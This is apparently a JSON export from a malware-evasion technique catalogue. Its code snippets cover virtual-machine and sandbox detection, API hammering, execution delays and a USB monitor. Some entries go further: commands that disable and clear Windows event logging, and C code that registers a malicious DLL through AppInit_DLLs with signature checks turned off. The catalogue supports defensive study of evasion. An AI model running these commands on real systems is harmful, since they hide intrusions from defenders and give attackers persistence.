GetStartupInfo(NULL);\r\n GetProcessTimes(GetCurrentProcess(), NULL, NULL, NULL, NULL);\r\n GetProcessVersion(0);\r\n GetProcessWorkingSetSize(GetCurrentProcess(), NULL, NULL);\r\n GetPriorityClass(GetCurrentProcess());\r\n GetProcessHandleCount(GetCurrentProcess(), NULL);\r\n GetProcessId(GetCurrentProcess());\r\n GetProcessIdOfThread(GetCurrentThread());\r\n GetProcessIoCounters(GetCurrentProcess(), NULL);\r\n GetLogicalProcessorInformation(NULL, NULL);\r\n }\r\n}\r\n\r\nint main() {\r\n printf(\"Starting Windows API hammering...\\n\");\r\n APIHammering();\r\n printf(\"Hammering completed.\\n\");\r\n return 0;\r\n}"
},
{
"id": 223,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 41,
"username": "1d8",
"email": "null@localhost",
"linkedin": "https://linkedin.com/in/icyber",
"twitter": null,
"website": "https://1d8.github.io",
"github": null
},
"technique": "https://unprotect.it/api/techniques/383/?format=api",
"description": "",
"plain_code": "import pyudev, time, os\r\n\r\n\r\ndef getMountPath(devPath):\r\n #print(f'[+] Grabbing mount path for {devPath}')\r\n time.sleep(20) # We sleep for a bit to give the /proc/mounts file time to refresh & contain mount path for devpath\r\n try:\r\n with open(\"/proc/mounts\", \"r\") as mFile:\r\n #print('[+] Reading /proc/mounts')\r\n for line in mFile:\r\n parts = line.split()\r\n if devPath.strip() in parts:\r\n #print(f'[+] Mount path found for {devPath}: {parts[1]}') #parts[1] -> full file path\r\n return parts[1]\r\n except:\r\n print(\"[!] Cannot open /proc/mounts!\")\r\n \r\ndef getDevPath():\r\n print('[-] Waiting for USB device insertion...')\r\n context = pyudev.Context()\r\n\r\n monitor = pyudev.Monitor.from_netlink(context)\r\n monitor.filter_by('block')\r\n\r\n monitor.start()\r\n\r\n for device in iter(monitor.poll, None):\r\n if device.device_type in ('disk', 'partition'):\r\n device_node = device.device_node\r\n if device.action == 'add':\r\n print(f'[+] Device connected: {device_node}!')\r\n \r\n\r\n mntPath = getMountPath(device_node)\r\n if mntPath is not None:\r\n \tprint(f'[+] Mount path for {device_node}: {mntPath}')\r\n\r\ndef main():\r\n\tgetDevPath()\r\n\r\nif __name__ == '__main__':\r\n\tmain()"
},
{
"id": 222,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 39,
"username": "kernelwernel",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": null,
"github": "https://github.com/kernelwernel"
},
"technique": "https://unprotect.it/api/techniques/381/?format=api",
"description": "",
"plain_code": "#if (defined(_MSC_VER) || defined(_WIN32) || defined(_WIN64) || defined(__MINGW32__))\r\n#define MSVC 1\r\n#define LINUX 0\r\n#elif (defined(__linux__))\r\n#define MSVC 0\r\n#define LINUX 1\r\n#else\r\n#define MSVC 0\r\n#define LINUX 0\r\n#endif\r\n\r\n#if (LINUX)\r\n#include <cpuid.h>\r\n#elif (MSVC)\r\n#include <intrin.h>\r\n#endif\r\n\r\n#include <cstdint>\r\n#include <array>\r\n#include <iostream>\r\n#include <regex>\r\n#include <string>\r\n#include <cstring>\r\n\r\n\r\n// cross-platform wrapper function for linux and MSVC cpuid\r\nvoid cpuid(\r\n std::uint32_t& a, \r\n std::uint32_t& b, \r\n std::uint32_t& c, \r\n std::uint32_t& d,\r\n const std::uint32_t a_leaf\r\n) {\r\n#if (MSVC)\r\n std::int32_t x[4]{};\r\n __cpuid((std::int32_t*)x, static_cast<std::int32_t>(a_leaf));\r\n a = static_cast<std::uint32_t>(x[0]);\r\n b = static_cast<std::uint32_t>(x[1]);\r\n c = static_cast<std::uint32_t>(x[2]);\r\n d = static_cast<std::uint32_t>(x[3]);\r\n#elif (LINUX)\r\n __get_cpuid(a_leaf, &a, &b, &c, &d);\r\n#else\r\n return;\r\n#endif\r\n}\r\n\r\n\r\n// checks if the leaf is high enough for the CPU to support\r\nbool is_leaf_supported(const std::uint32_t p_leaf) {\r\n std::uint32_t eax, unused = 0;\r\n cpuid(eax, unused, unused, unused, 0x80000000);\r\n return (p_leaf <= eax);\r\n}\r\n\r\n\r\n// get the CPU product\r\nstd::string get_brand() {\r\n if (!is_leaf_supported(0x80000004)) {\r\n return \"\";\r\n }\r\n\r\n std::array<std::uint32_t, 4> buffer{};\r\n constexpr std::size_t buffer_size = sizeof(int32_t) * buffer.size();\r\n std::array<char, 64> charbuffer{};\r\n\r\n constexpr std::array<std::uint32_t, 3> ids = {{\r\n 0x80000002,\r\n 0x80000003,\r\n 0x80000004\r\n }};\r\n\r\n std::string brand = \"\";\r\n\r\n for (const std::uint32_t& id : ids) {\r\n cpuid(buffer.at(0), buffer.at(1), buffer.at(2), buffer.at(3), id);\r\n\r\n std::memcpy(charbuffer.data(), buffer.data(), buffer_size);\r\n\r\n const char* convert = charbuffer.data();\r\n brand += convert;\r\n }\r\n\r\n return brand;\r\n}\r\n\r\n\r\n// main code, checks if the CPU brand matches with QEMU's\r\nbool cpu_brand_qemu() {\r\n std::string brand = get_brand();\r\n\r\n std::regex qemu_pattern(\"QEMU Virtual CPU\", std::regex_constants::icase);\r\n\r\n if (std::regex_match(brand, qemu_pattern)) {\r\n return true;\r\n }\r\n\r\n return false;\r\n}\r\n\r\n\r\nint main() {\r\n std::cout << \"is the CPU brand \\\"QEMU Virtual CPU\\\"? = \" << (cpu_brand_qemu() ? \"Yes, very likely a QEMU CPU\\n\" : \"No, most likely baremetal\\n\");\r\n}"
},
{
"id": 221,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 39,
"username": "kernelwernel",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": null,
"github": "https://github.com/kernelwernel"
},
"technique": "https://unprotect.it/api/techniques/380/?format=api",
"description": "",
"plain_code": "#if (defined(_MSC_VER) || defined(_WIN32) || defined(_WIN64) || defined(__MINGW32__))\r\n#define MSVC 1\r\n#define LINUX 0\r\n#elif (defined(__linux__))\r\n#define MSVC 0\r\n#define LINUX 1\r\n#else\r\n#define MSVC 0\r\n#define LINUX 0\r\n#endif\r\n\r\n#if (LINUX)\r\n#include <cpuid.h>\r\n#elif (MSVC)\r\n#include <intrin.h>\r\n#endif\r\n\r\n#include <cstdint>\r\n#include <array>\r\n#include <iostream>\r\n#include <regex>\r\n#include <string>\r\n#include <cstring>\r\n\r\n\r\n// cross-platform wrapper function for linux and MSVC cpuid\r\nvoid cpuid(\r\n std::uint32_t& a, \r\n std::uint32_t& b, \r\n std::uint32_t& c, \r\n std::uint32_t& d,\r\n const std::uint32_t a_leaf\r\n) {\r\n#if (MSVC)\r\n std::int32_t x[4]{};\r\n __cpuid((std::int32_t*)x, static_cast<std::int32_t>(a_leaf));\r\n a = static_cast<std::uint32_t>(x[0]);\r\n b = static_cast<std::uint32_t>(x[1]);\r\n c = static_cast<std::uint32_t>(x[2]);\r\n d = static_cast<std::uint32_t>(x[3]);\r\n#elif (LINUX)\r\n __get_cpuid(a_leaf, &a, &b, &c, &d);\r\n#else\r\n return;\r\n#endif\r\n}\r\n\r\n// checks if the leaf is high enough for the CPU to support\r\nbool is_leaf_supported(const std::uint32_t p_leaf) {\r\n std::uint32_t eax, unused = 0;\r\n cpuid(eax, unused, unused, unused, 0x80000000);\r\n return (p_leaf <= eax);\r\n};\r\n\r\n// get the CPU product\r\nstd::string get_brand() {\r\n if (!is_leaf_supported(0x80000004)) {\r\n return \"\";\r\n }\r\n\r\n std::array<std::uint32_t, 4> buffer{};\r\n constexpr std::size_t buffer_size = sizeof(int32_t) * buffer.size();\r\n std::array<char, 64> charbuffer{};\r\n\r\n constexpr std::array<std::uint32_t, 3> ids = {{\r\n 0x80000002,\r\n 0x80000003,\r\n 0x80000004\r\n }};\r\n\r\n std::string brand = \"\";\r\n\r\n for (const std::uint32_t& id : ids) {\r\n cpuid(buffer.at(0), buffer.at(1), buffer.at(2), buffer.at(3), id);\r\n\r\n std::memcpy(charbuffer.data(), buffer.data(), buffer_size);\r\n\r\n const char* convert = charbuffer.data();\r\n brand += convert;\r\n }\r\n\r\n return brand;\r\n}\r\n\r\n\r\n// main bochs detection code\r\nbool bochs_cpu() {\r\n std::uint32_t unused, ecx = 0;\r\n cpuid(unused, unused, ecx, unused, 0);\r\n\r\n constexpr std::uint32_t amd_ecx = 0x444d4163; // \"cAMD\" (AMD)\r\n constexpr std::uint32_t intel_ecx1 = 0x6c65746e; // \"ntel\" (Intel)\r\n constexpr std::uint32_t intel_ecx2 = 0x6c65746f; // \"otel\" (Intel), this is because some Intel CPUs have a rare manufacturer string of \"GenuineIotel\"\r\n\r\n const bool intel = ((ecx == intel_ecx1) || (ecx == intel_ecx2));\r\n const bool amd = (ecx == amd_ecx);\r\n\r\n // if neither amd or intel, return false\r\n if (!(intel || amd)) {\r\n return false;\r\n }\r\n\r\n const std::string brand = get_brand();\r\n\r\n if (intel) {\r\n // technique 1: not a valid brand \r\n if (brand == \" Intel(R) Pentium(R) 4 CPU \") {\r\n return true;\r\n }\r\n } else if (amd) {\r\n // technique 2: \"processor\" should have a capital P\r\n if (brand == \"AMD Athlon(tm) processor\") {\r\n return true;\r\n }\r\n\r\n // technique 3: Check for absence of AMD easter egg for K7 and K8 CPUs\r\n constexpr std::uint32_t AMD_EASTER_EGG = 0x8fffffff; // this is the CPUID leaf of the AMD easter egg\r\n\r\n if (!is_leaf_supported(AMD_EASTER_EGG)) {\r\n return false;\r\n }\r\n\r\n std::uint32_t unused, eax = 0;\r\n cpuid(eax, unused, unused, unused, 1);\r\n\r\n constexpr std::uint8_t AMD_K7 = 6;\r\n constexpr std::uint8_t AMD_K8 = 15;\r\n\r\n auto is_k7 = [](const std::uint32_t eax) -> bool {\r\n const std::uint32_t family = (eax >> 8) & 0xF;\r\n const std::uint32_t model = (eax >> 4) & 0xF;\r\n const std::uint32_t extended_family = (eax >> 20) & 0xFF;\r\n\r\n if (family == 6 && extended_family == 0) {\r\n if (model == 1 || model == 2 || model == 3 || model == 4) {\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n };\r\n\r\n auto is_k8 = [](const std::uint32_t eax) -> bool {\r\n const std::uint32_t family = (eax >> 8) & 0xF;\r\n const std::uint32_t extended_family = (eax >> 20) & 0xFF;\r\n\r\n if (family == 0xF) {\r\n if (extended_family == 0x00 || extended_family == 0x01) {\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n };\r\n\r\n if (!(is_k7(eax) || is_k8(eax))) {\r\n return false;\r\n }\r\n\r\n std::uint32_t ecx_bochs = 0;\r\n cpuid(unused, unused, ecx_bochs, unused, AMD_EASTER_EGG);\r\n\r\n if (ecx_bochs == 0) {\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n}\r\n\r\n\r\nint main() {\r\n std::cout << \"is bochs present? = \" << (bochs_cpu() ? \"Yes, very likely a bochs emulated CPU\\n\" : \"No, most likely baremetal\\n\");\r\n return 0;\r\n}"
},
{
"id": 219,
"language": {
"id": 8,
"label": "PowerShell",
"code_class": "powershell"
},
"user": {
"id": 42,
"username": "0x0d4y",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/icaro-cesar/",
"twitter": null,
"website": "https://0x0d4y.blog/",
"github": null
},
"technique": "https://unprotect.it/api/techniques/263/?format=api",
"description": "",
"plain_code": "Set-Service -Name EventLog -Status Stopped"
},
{
"id": 218,
"language": {
"id": 12,
"label": "bash",
"code_class": "bash"
},
"user": {
"id": 42,
"username": "0x0d4y",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/icaro-cesar/",
"twitter": null,
"website": "https://0x0d4y.blog/",
"github": null
},
"technique": "https://unprotect.it/api/techniques/263/?format=api",
"description": "",
"plain_code": "# Disable Windows Event Log through service\r\nsc config eventlog start=disabled\r\n# Disable each Windows Event Log Category through auditpool\r\nauditpol /set /category:\"Account Logon\" /success:disable /failure:disable\r\nauditpol /set /category:\"Detailed Tracking\" /success:disable /failure:disable\r\n# Clear and Disable all Categories\r\nauditpol /clear /y\r\nauditpol /remove /allusers\r\n# Disable Windows Event Log Category through wevtutil\r\nwevtutil sl Security /e:false\r\n# Disable Windows Event Log thourgh Regitry Log Channels\r\nreg add \"HKEY_LOCAL_MACHINE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\<anychannel>\" /v Enabled /t REG_DWORD /d 0 /f"
},
{
"id": 217,
"language": {
"id": 10,
"label": "C",
"code_class": "C"
},
"user": {
"id": 41,
"username": "1d8",
"email": "null@localhost",
"linkedin": "https://linkedin.com/in/icyber",
"twitter": null,
"website": "https://1d8.github.io",
"github": null
},
"technique": "https://unprotect.it/api/techniques/376/?format=api",
"description": "Requires Administrator privileges\r\n\r\nTargeted DLL: `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows`\r\n\r\nThe following keys must be set to the respective values:\r\n- **AppInitDLLs** - Set this to the full path of the malicious DLL (`C:\\Users\\Administrator\\Desktop\\inject.dll`)\r\n- **LoadAppInit_DLLs** - 1\r\n- **RequireSignedAppInit_Dlls** - 0\r\n\t\r\nThen any process that uses WinAPI within Windows will trigger execution of our malicious DLL",
"plain_code": "#include <windows.h>\r\n#include <stdio.h>\r\n\r\nchar maliciousDLLPath[] = {\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\inject.dll\"}; //Change this to malicious DLL\r\nchar appInitDllsPath[] = {\"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows\"};\r\nchar appInitDllsSubkey[] = {\"AppInit_DLLs\"};\r\nchar appInitDllsLoadPath[] = {\"LoadAppInit_DLLs\"};\r\nchar appInitDllsRequireSignedPath[] = {\"RequireSignedAppInit_DLLs\"};\r\nDWORD signedValue = 0x0;\r\nDWORD loadValue = 0x1;\r\n\r\nint main() {\r\n HKEY hKey;\r\n LSTATUS openResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, appInitDllsPath, 0, KEY_ALL_ACCESS, &hKey);\r\n if (openResult != ERROR_SUCCESS) {\r\n // Error encountered opening registry key\r\n if (openResult == ERROR_FILE_NOT_FOUND) {\r\n printf(\"Key not found!\\n\");\r\n return 0;\r\n } else {\r\n printf(\"Error opening key!\\n\");\r\n return 0;\r\n }\r\n } else {\r\n // Successfully opened registry key\r\n printf(\"Opened key!\\n\");\r\n LSTATUS setAppInitDllsSubkeyResult = RegSetValueEx(hKey, appInitDllsSubkey, 0, REG_SZ, maliciousDLLPath, sizeof(maliciousDLLPath));\r\n if (setAppInitDllsSubkeyResult != ERROR_SUCCESS) {\r\n printf(\"Error encountered when setting AppInit_DLLs path\\n\");\r\n return 0;\r\n } else {\r\n printf(\"Successfully set path to malicious DLL for AppInit_DLLs path\\n\");\r\n }\r\n // REG_DWORD \r\n // Data will be HexValue\r\n LSTATUS setAppInitDllsLoadPathResult = RegSetValueEx(hKey, appInitDllsLoadPath, 0, REG_DWORD, (BYTE*)&loadValue, sizeof(0x1));\r\n if (setAppInitDllsLoadPathResult != ERROR_SUCCESS) {\r\n printf(\"Error encountered when setting the DLLs load path to 1\\n\");\r\n return 0;\r\n } else {\r\n printf(\"Successfully set DLLs load path to 1\\n\");\r\n }\r\n\r\n LSTATUS setSignedPathResult = RegSetValueEx(hKey, appInitDllsRequireSignedPath, 0, REG_DWORD, (BYTE*)&signedValue, sizeof(0x0));\r\n if (setSignedPathResult != ERROR_SUCCESS) {\r\n printf(\"Error encountered when setting the signed DLLs path\\n\");\r\n return 0;\r\n } else {\r\n printf(\"Successfully set signed DLLs path to 0\\n\");\r\n }\r\n\r\n RegCloseKey(hKey);\r\n }\r\n\r\n}"
},
{
"id": 216,
"language": {
"id": 10,
"label": "C",
"code_class": "C"
},
"user": {
"id": 41,
"username": "1d8",
"email": "null@localhost",
"linkedin": "https://linkedin.com/in/icyber",
"twitter": null,
"website": "https://1d8.github.io",
"github": null
},
"technique": "https://unprotect.it/api/techniques/241/?format=api",
"description": "",
"plain_code": "#include <windows.h>\r\n#include <stdio.h>\r\n\r\nvoid main() {\r\n HWND winHandle = GetConsoleWindow();\r\n ShowWindow(winHandle, SW_HIDE);\r\n}"
},
{
"id": 215,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 36,
"username": "HoIIovv",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/nicola-bottura/",
"twitter": "https://twitter.com/HoIIovv",
"website": "https://nicolabottura.github.io/",
"github": null
},
"technique": "https://unprotect.it/api/techniques/375/?format=api",
"description": "",
"plain_code": "#include <iostream>\r\n#include <Windows.h>\r\n#include <winnetwk.h>\r\n#include <algorithm>\r\n#include <string>\r\n\r\n#pragma comment(lib, \"Mpr.lib\")\r\n\r\nvoid EnumerateResources(LPNETRESOURCEW pRsrc, DWORD scope, DWORD type, DWORD usage) {\r\n\tHANDLE hEnum = NULL;\r\n\tDWORD result = WNetOpenEnumW(scope, type, usage, pRsrc, &hEnum);\r\n\r\n\tif (result != NO_ERROR) {\r\n\t\tstd::cerr << \"WNetOpenEnumW failed with error: \" << result << std::endl;\r\n\t\treturn;\r\n\t}\r\n\r\n\tBYTE buffer[65536];\r\n\tDWORD count;\r\n\tDWORD bufSize;\r\n\r\n\tdo {\r\n\t\tcount = (DWORD)-1;\r\n\t\tbufSize = sizeof(buffer);\r\n\t\tresult = WNetEnumResourceW(hEnum, &count, buffer, &bufSize);\r\n\r\n\t\tif (result == NO_ERROR || result == ERROR_MORE_DATA) {\r\n\t\t\t// Results from WNetEnumResource are returned as an array of NETRESOURCE structures\r\n\t\t\tLPNETRESOURCEW pNR = (LPNETRESOURCEW)buffer;\r\n\t\t\tfor (DWORD i = 0; i < count; i++) {\r\n\t\t\t\tstd::wstring remoteName_upper;\r\n\t\t\t\tif (pNR[i].lpRemoteName) { // Convert RemoteName to uppercase\r\n\t\t\t\t\tremoteName_upper = pNR[i].lpRemoteName;\r\n\t\t\t\t\tstd::transform(remoteName_upper.begin(), remoteName_upper.end(), remoteName_upper.begin(), ::towupper);\r\n\t\t\t\t}\r\n\t\t\t\tif (!remoteName_upper.empty() && (remoteName_upper.find(L\"VIRTUALBOX\") != std::wstring::npos || remoteName_upper.find(L\"VBOXSVR\") != std::wstring::npos)) {\r\n\t\t\t\t\twprintf(L\"Found VirtualBox environment! RemoteName: %ls, Provider: %ls\\n\", pNR[i].lpRemoteName, pNR[i].lpProvider);\r\n\t\t\t\t}\r\n\t\t\t\telse if (pNR[i].lpRemoteName) {\r\n\t\t\t\t\twprintf(L\"Net resource: %ls , %ls\\n\",\r\n\t\t\t\t\t\tpNR[i].lpRemoteName ? pNR[i].lpRemoteName : L\"(null)\",\r\n\t\t\t\t\t\tpNR[i].lpProvider ? pNR[i].lpProvider : L\"(null)\");\r\n\t\t\t\t}\r\n\t\t\t\t// If the resource has more children, enumerate them recursively\r\n\t\t\t\tif (pNR[i].dwUsage & RESOURCEUSAGE_CONTAINER) {\r\n\t\t\t\t\tEnumerateResources(&pNR[i], scope, type, usage);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\telse if (result != ERROR_NO_MORE_ITEMS) {\r\n\t\t\tstd::cerr << \"WNetEnumResourceW failed with error: \" << result << std::endl;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t} while (result == ERROR_MORE_DATA);\r\n\r\n\tWNetCloseEnum(hEnum);\r\n}\r\n\r\nint main() {\r\n\tEnumerateResources(nullptr, RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0);\r\n\treturn 0;\r\n}"
},
{
"id": 214,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 39,
"username": "kernelwernel",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": null,
"github": "https://github.com/kernelwernel"
},
"technique": "https://unprotect.it/api/techniques/373/?format=api",
"description": "",
"plain_code": "/**\r\n * The thread count of the CPU must be an even number, which allows \r\n * us to detect whether the thread count has been modified through \r\n * the VM creation stage. If the thread count is not an even number, \r\n * this is a sign of thread tampering (with a few exceptions which \r\n * are already covered).\r\n *\r\n * This code snippet is from the VMAware project at https://github.com/kernelwernel/VMAware\r\n * detection made by kernelwernel, 2024\r\n */\r\n\r\n#if (defined(_MSC_VER) || defined(_WIN32) || defined(_WIN64) || defined(__MINGW32__))\r\n#define MSVC 1\r\n#define LINUX 0\r\n#elif (defined(__linux__))\r\n#define MSVC 0\r\n#define LINUX 1\r\n#else\r\n#define MSVC 0\r\n#define LINUX 0\r\n#endif\r\n\r\n#if (LINUX)\r\n#include <cpuid.h>\r\n#elif (MSVC)\r\n#include <intrin.h>\r\n#endif\r\n\r\n#include <cstdint>\r\n#include <thread>\r\n#include <array>\r\n#include <iostream>\r\n\r\n/*\r\n * @brief Check for odd CPU threads, usually a sign of modification through VM setting because 99% of CPUs have even numbers of threads\r\n */ \r\nbool odd_cpu_threads() {\r\n struct stepping_struct {\r\n std::uint8_t model;\r\n std::uint8_t family;\r\n std::uint8_t extmodel;\r\n };\r\n\r\n struct stepping_struct steps {};\r\n\r\n // cross-platform wrapper function for linux and MSVC cpuid\r\n auto cpuid = [](\r\n std::uint32_t& a, \r\n std::uint32_t& b, \r\n std::uint32_t& c, \r\n std::uint32_t& d,\r\n const std::uint32_t a_leaf\r\n ) -> void {\r\n#if (MSVC)\r\n std::int32_t x[4]{};\r\n __cpuid((std::int32_t*)x, static_cast<std::int32_t>(a_leaf));\r\n a = static_cast<std::uint32_t>(x[0]);\r\n b = static_cast<std::uint32_t>(x[1]);\r\n c = static_cast<std::uint32_t>(x[2]);\r\n d = static_cast<std::uint32_t>(x[3]);\r\n#elif (LINUX)\r\n __get_cpuid(a_leaf, &a, &b, &c, &d);\r\n#else\r\n return;\r\n#endif\r\n };\r\n\r\n auto is_intel = [&]() -> bool {\r\n constexpr std::uint32_t intel_ecx = 0x6c65746e;\r\n\r\n std::uint32_t unused, ecx = 0;\r\n cpuid(unused, unused, ecx, unused, 0);\r\n\r\n return (ecx == intel_ecx);\r\n };\r\n\r\n auto is_amd = [&]() -> bool {\r\n constexpr std::uint32_t amd_ecx = 0x69746e65;\r\n\r\n std::uint32_t unused, ecx = 0;\r\n cpuid(unused, unused, ecx, unused, 0);\r\n\r\n return (ecx == amd_ecx);\r\n };\r\n\r\n std::uint32_t unused, eax = 0;\r\n cpuid(eax, unused, unused, unused, 1);\r\n\r\n steps.model = ((eax >> 4) & 0b1111);\r\n steps.family = ((eax >> 8) & 0b1111);\r\n steps.extmodel = ((eax >> 16) & 0b1111);\r\n \r\n // check if the CPU is an intel celeron\r\n auto is_celeron = [&]() -> bool {\r\n if (!is_intel()) {\r\n return false;\r\n }\r\n\r\n constexpr std::uint8_t celeron_family = 0x6;\r\n constexpr std::uint8_t celeron_extmodel = 0x2;\r\n constexpr std::uint8_t celeron_model = 0xA;\r\n\r\n return (\r\n steps.family == celeron_family &&\r\n steps.extmodel == celeron_extmodel && \r\n steps.model == celeron_model\r\n );\r\n };\r\n\r\n // check if the microarchitecture was made before 2006, which was around the time multi-core processors were implemented\r\n auto old_microarchitecture = [&]() -> bool {\r\n constexpr std::array<std::array<std::uint8_t, 3>, 32> old_archs = {{\r\n // 80486\r\n {{ 0x4, 0x0, 0x1 }},\r\n {{ 0x4, 0x0, 0x2 }},\r\n {{ 0x4, 0x0, 0x3 }},\r\n {{ 0x4, 0x0, 0x4 }},\r\n {{ 0x4, 0x0, 0x5 }},\r\n {{ 0x4, 0x0, 0x7 }},\r\n {{ 0x4, 0x0, 0x8 }},\r\n {{ 0x4, 0x0, 0x9 }},\r\n\r\n // P5\r\n {{ 0x5, 0x0, 0x1 }},\r\n {{ 0x5, 0x0, 0x2 }},\r\n {{ 0x5, 0x0, 0x4 }},\r\n {{ 0x5, 0x0, 0x7 }},\r\n {{ 0x5, 0x0, 0x8 }},\r\n\r\n // P6\r\n {{ 0x6, 0x0, 0x1 }},\r\n {{ 0x6, 0x0, 0x3 }},\r\n {{ 0x6, 0x0, 0x5 }},\r\n {{ 0x6, 0x0, 0x6 }},\r\n {{ 0x6, 0x0, 0x7 }},\r\n {{ 0x6, 0x0, 0x8 }},\r\n {{ 0x6, 0x0, 0xA }},\r\n {{ 0x6, 0x0, 0xB }},\r\n\r\n // Netburst\r\n {{ 0xF, 0x0, 0x6 }},\r\n {{ 0xF, 0x0, 0x4 }},\r\n {{ 0xF, 0x0, 0x3 }},\r\n {{ 0xF, 0x0, 0x2 }},\r\n {{ 0xF, 0x0, 0x10 }},\r\n\r\n {{ 0x6, 0x1, 0x5 }}, // Pentium M (Talopai)\r\n {{ 0x6, 0x1, 0x6 }}, // Core (Client)\r\n {{ 0x6, 0x0, 0x9 }}, // Pentium M\r\n {{ 0x6, 0x0, 0xD }}, // Pentium M\r\n {{ 0x6, 0x0, 0xE }}, // Modified Pentium M\r\n {{ 0x6, 0x0, 0xF }} // Core (Client)\r\n }};\r\n\r\n constexpr std::uint8_t FAMILY = 0;\r\n constexpr std::uint8_t EXTMODEL = 1;\r\n constexpr std::uint8_t MODEL = 2;\r\n\r\n for (const auto& arch : old_archs) {\r\n if (\r\n steps.family == arch.at(FAMILY) &&\r\n steps.extmodel == arch.at(EXTMODEL) &&\r\n steps.model == arch.at(MODEL)\r\n ) {\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n };\r\n\r\n // if neither AMD or Intel, return false\r\n if (!(is_intel() || is_amd())) {\r\n return false;\r\n }\r\n\r\n // Intel Celeron CPUs are relatively modern, but they can contain a single or odd thread count\r\n if (is_celeron()) {\r\n return false;\r\n }\r\n\r\n // CPUs before 2006 had no official multi-core processors (for both AMD and Intel)\r\n if (old_microarchitecture()) {\r\n return false;\r\n }\r\n\r\n // Is the thread count odd?\r\n return (std::thread::hardware_concurrency() & 1);\r\n}\r\n\r\nint main() {\r\n std::cout << \"\\nIs the thread count odd? = \" << (odd_cpu_threads() ? \"Yes, very likely a VM\" : \"No, could be baremetal\") << \"\\n\";\r\n return 0;\r\n}"
},
{
"id": 213,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 39,
"username": "kernelwernel",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": null,
"github": "https://github.com/kernelwernel"
},
"technique": "https://unprotect.it/api/techniques/372/?format=api",
"description": "",
"plain_code": "/**\r\n * Hyper-V has a signature value of \"Hv#1\" in eax if leaf `0x40000001` is provided to CPUID.\r\n *\r\n * This code snippet is from the VMAware project at https://github.com/kernelwernel/VMAware\r\n * \r\n * detection made by kernelwernel, 2024\r\n */\r\n\r\n#if (defined(_MSC_VER) || defined(_WIN32) || defined(_WIN64) || defined(__MINGW32__))\r\n#define MSVC 1\r\n#define LINUX 0\r\n#elif (defined(__linux__))\r\n#define MSVC 0\r\n#define LINUX 1\r\n#else\r\n#define MSVC 0\r\n#define LINUX 0\r\n#endif\r\n\r\n#if (LINUX)\r\n#include <cpuid.h>\r\n#elif (MSVC)\r\n#include <intrin.h>\r\n#endif\r\n\r\n#include <cstdint>\r\n#include <thread>\r\n#include <array>\r\n#include <iostream>\r\n\r\n\r\nbool hyperv_sig() {\r\n auto cpuid_eax = [](\r\n std::uint32_t& eax, \r\n const std::uint32_t leaf\r\n ) -> void {\r\n#if (MSVC)\r\n std::int32_t x[4]{};\r\n __cpuid((std::int32_t*)x, static_cast<std::int32_t>(leaf));\r\n eax = static_cast<std::uint32_t>(x[0]);\r\n#elif (LINUX)\r\n std::uint32_t unused = 0;\r\n __get_cpuid(leaf, &eax, &unused, &unused, &unused);\r\n#else\r\n return;\r\n#endif\r\n };\r\n\r\n std::uint32_t eax = 0;\r\n cpuid_eax(eax, 0x40000001);\r\n\r\n constexpr std::uint32_t signature = 0x31237648; // \"Hv#1\"\r\n\r\n return (eax == signature);\r\n}\r\n\r\nint main() {\r\n std::cout << \"Hyper-V's signature found? = \" << (hyperv_sig() ? \"Yes, very likely a Hyper-V VM\" : \"No, could be baremetal\") << \"\\n\";\r\n return 0;\r\n}"
},
{
"id": 212,
"language": {
"id": 10,
"label": "C",
"code_class": "C"
},
"user": {
"id": 11,
"username": "d4rksystem",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/d4rksystem",
"website": "https://securityliterate.com/",
"github": "https://github.com/d4rksystem"
},
"technique": "https://unprotect.it/api/techniques/371/?format=api",
"description": "The following code snippet demonstrates two methods for introducing delays in a Windows environment. The first method uses `NtDelayExecution`, while the second employs the `Beep` function.",
"plain_code": "int main() {\r\n \r\n bool alertable = 0; // Thread alertable state. 0 = thread cannot cannot break on call to NtAlertThread.\r\n int duration = 60000; // Duration of the delay in milliseconds\r\n\r\n NtDelayExecution(alertable, duration)\r\n return 0;\r\n}\r\n\r\n// ---\r\n\r\nint main() {\r\n \r\n int frequency = 0; // Frequency of the beep in hertz (this will likely be \"0\" if the malware doesn't actually want to invoke the beep sound!)\r\n int duration = 60000; // Duration of the beep in milliseconds\r\n\r\n Beep(frequency, duration)\r\n return 0;\r\n}"
},
{
"id": 211,
"language": {
"id": 13,
"label": "FASM32",
"code_class": "x86asm"
},
"user": {
"id": 4,
"username": "DarkCoderSc",
"email": "jplesueur@proton.me",
"linkedin": "https://www.linkedin.com/in/jlesueur/",
"twitter": "https://www.twitter.com/darkcodersc",
"website": "https://www.phrozen.io/",
"github": "https://github.com/DarkCoderSc"
},
"technique": "https://unprotect.it/api/techniques/113/?format=api",
"description": "",
